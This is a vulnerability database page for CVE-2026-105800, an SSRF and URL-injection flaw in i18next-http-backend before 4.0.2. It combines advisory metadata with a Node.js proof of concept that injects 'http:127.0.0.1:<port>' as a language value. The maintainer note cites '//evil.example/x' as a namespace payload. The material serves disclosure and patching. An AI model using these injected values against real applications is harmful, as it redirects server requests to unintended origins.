Vulnerability-Lookup

CVE-2026-105800 (GCVE-0-2026-105800)

Vulnerability from cvelistv5 – Published: 2026-10-06 14:48 – Updated: 2026-10-06 17:19

Title

i18next-http-backend incomplete URL validation permits SSRF

Summary

i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL's structural beginning. This issue is fixed in version 4.0.2.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 17:18 UTC

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/i18next/i18next-http-backend/s…	x_refsource_CONFIRM
https://github.com/i18next/i18next-http-backend/c…	x_refsource_MISC
https://github.com/i18next/i18next-http-backend/r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
i18next	i18next-http-backend	Affected: < 4.0.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-105800",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-06T17:18:55.474264Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-06T17:19:14.493Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "i18next-http-backend",
          "vendor": "i18next",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.0.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL\u0027s structural beginning. This issue is fixed in version 4.0.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-06T14:48:05.267Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
        },
        {
          "name": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
        },
        {
          "name": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
        }
      ],
      "source": {
        "advisory": "GHSA-xvq9-wjp8-hwqf",
        "discovery": "UNKNOWN"
      },
      "title": "i18next-http-backend incomplete URL validation permits SSRF"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-105800",
    "datePublished": "2026-10-06T14:48:05.267Z",
    "dateReserved": "2026-10-05T20:37:19.364Z",
    "dateUpdated": "2026-10-06T17:19:14.493Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-105800",
      "date": "2026-10-07",
      "epss": "0.00289",
      "percentile": "0.19666"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "i18next-http-backend",
                "vendor": "i18next",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 4.0.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL\u0027s structural beginning. This issue is fixed in version 4.0.2."
          }
        ],
        "id": "CVE-2026-105800",
        "lastModified": "2026-10-06T18:16:47.547",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 3.7,
                "baseSeverity": "LOW",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.2,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-105800",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-06T17:18:55.474264Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-06T15:17:17.173",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-74"
              },
              {
                "lang": "en",
                "value": "CWE-918"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Low",
      "current_release_date": "2026-10-06T20:05:28+00:00",
      "cve": "CVE-2026-105800",
      "id": "CVE-2026-105800",
      "initial_release_date": "2026-10-06T14:48:05.267000+00:00",
      "product_status:known_affected": "29",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "i18next-http-backend: i18next-http-backend: Server-Side Request Forgery via crafted path template parameters",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-105800.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-105800",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-06T17:18:55.474264Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-06T17:19:11.162Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "i18next-http-backend",
              "vendor": "i18next",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 4.0.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL\u0027s structural beginning. This issue is fixed in version 4.0.2."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 3.7,
                "baseSeverity": "LOW",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-74",
                  "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-06T14:48:05.267Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
            },
            {
              "name": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
            },
            {
              "name": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
            }
          ],
          "source": {
            "advisory": "GHSA-xvq9-wjp8-hwqf",
            "discovery": "UNKNOWN"
          },
          "title": "i18next-http-backend incomplete URL validation permits SSRF"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-105800",
        "datePublished": "2026-10-06T14:48:05.267Z",
        "dateReserved": "2026-10-05T20:37:19.364Z",
        "dateUpdated": "2026-10-06T17:19:14.493Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-105800

Vulnerability from fkie_nvd - Published: 2026-10-06 15:17 - Updated: 2026-10-06 18:16

Severity

3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85
	security-advisories@github.com	https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2
	security-advisories@github.com	https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "i18next-http-backend",
          "vendor": "i18next",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.0.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL\u0027s structural beginning. This issue is fixed in version 4.0.2."
    }
  ],
  "id": "CVE-2026-105800",
  "lastModified": "2026-10-06T18:16:47.547",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.7,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-105800",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-06T17:18:55.474264Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-06T15:17:17.173",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-XVQ9-WJP8-HWQF

Vulnerability from github – Published: 2026-10-06 15:33 – Updated: 2026-10-06 15:33

Summary

i18next-http-backend incomplete URL validation permits SSRF

Details

There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.

This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.

Proof of Concept

// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");

function read(backend, lng, ns) {
  return new Promise((resolve) => {
    backend.read(lng, ns, (err) => resolve(err));
  });
}

async function main() {
  let gotRequest = false;
  const server = http.createServer((req, res) => {
    gotRequest = req.url === "/common.json";
    res.writeHead(200, { "content-type": "application/json" });
    res.end("{}");
  });

  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
  const lng = `http:127.0.0.1:${server.address().port}`;

  const err = await read(backend, lng, "common");
  server.close();

  const vulnerable = gotRequest && !err;
  console.log(vulnerable ? "VULNERABLE" : "SAFE");
  if (!vulnerable) process.exitCode = 1;
}

main();

Run:

npm install --ignore-scripts
node poc.js

The expected result is:

VULNERABLE

Why the Previous Patch Was Incomplete

This vulnerability is caused by an incomplete patch for CVE-2026-41691. The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.

The following bypass remains in the current release: lng=http:127.0.0.1: with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.

Impact

The attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.

Recommended Fix

Parse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.

Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.

Maintainer note

Confirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).

Preconditions. The bypass only works when the loadPath / addPath template begins directly with {{lng}} or {{ns}} — no origin and no leading /, e.g. {{lng}}/{{ns}}.json. Only in that position is http: parsed as a URL scheme. The default /locales/{{lng}}/{{ns}}.json and every template with a leading path or origin are not affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an ns value such as //evil.example/x to become a protocol-relative URL in browsers.

Fix. : is now rejected in both lng and ns values, and // in ns values. No BCP-47 language code contains a colon, and : is i18next's default namespace separator, so no usable namespace name does either.

Affected range. Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is < 4.0.2 rather than >= 3.0.5, <= 4.0.1.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "i18next-http-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-06T15:33:33Z",
    "nvd_published_at": "2026-10-06T15:17:17Z",
    "severity": "LOW"
  },
  "details": "There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) =\u003e {\n    backend.read(lng, ns, (err) =\u003e resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) =\u003e {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest \u0026\u0026 !err;\n  console.log(vulnerable ? \"VULNERABLE\" : \"SAFE\");\n  if (!vulnerable) process.exitCode = 1;\n}\n\nmain();\n```\n\nRun:\n\n```bash\nnpm install --ignore-scripts\nnode poc.js\n```\n\nThe expected result is:\n\n```text\nVULNERABLE\n```\n\n## Why the Previous Patch Was Incomplete\n\nThis vulnerability is caused by an incomplete patch for [CVE-2026-41691](https://github.com/advisories/GHSA-q89c-q3h5-w34g). The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.\n\nThe following bypass remains in the current release: lng=http:127.0.0.1:\u003cport\u003e with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.\n\n## Impact\n\nThe attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.\n\n## Recommended Fix\n\nParse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.\n\nPlease let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).\n\n**Preconditions.** The bypass only works when the `loadPath` / `addPath` template *begins* directly with `{{lng}}` or `{{ns}}` \u2014 no origin and no leading `/`, e.g. `{{lng}}/{{ns}}.json`. Only in that position is `http:` parsed as a URL scheme. The default `/locales/{{lng}}/{{ns}}.json` and every template with a leading path or origin are **not** affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an `ns` value such as `//evil.example/x` to become a protocol-relative URL in browsers.\n\n**Fix.** `:` is now rejected in both `lng` and `ns` values, and `//` in `ns` values. No BCP-47 language code contains a colon, and `:` is i18next\u0027s default namespace separator, so no usable namespace name does either.\n\n**Affected range.** Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is `\u003c 4.0.2` rather than `\u003e= 3.0.5, \u003c= 4.0.1`.",
  "id": "GHSA-xvq9-wjp8-hwqf",
  "modified": "2026-10-06T15:33:33Z",
  "published": "2026-10-06T15:33:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/i18next/i18next-http-backend"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "i18next-http-backend incomplete URL validation permits SSRF"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-105800 (GCVE-0-2026-105800)

FKIE_CVE-2026-105800

GHSA-XVQ9-WJP8-HWQF

Proof of Concept

Why the Previous Patch Was Incomplete

Impact

Recommended Fix

Maintainer note

Tags

Sightings

Nomenclature

Related by attack behaviour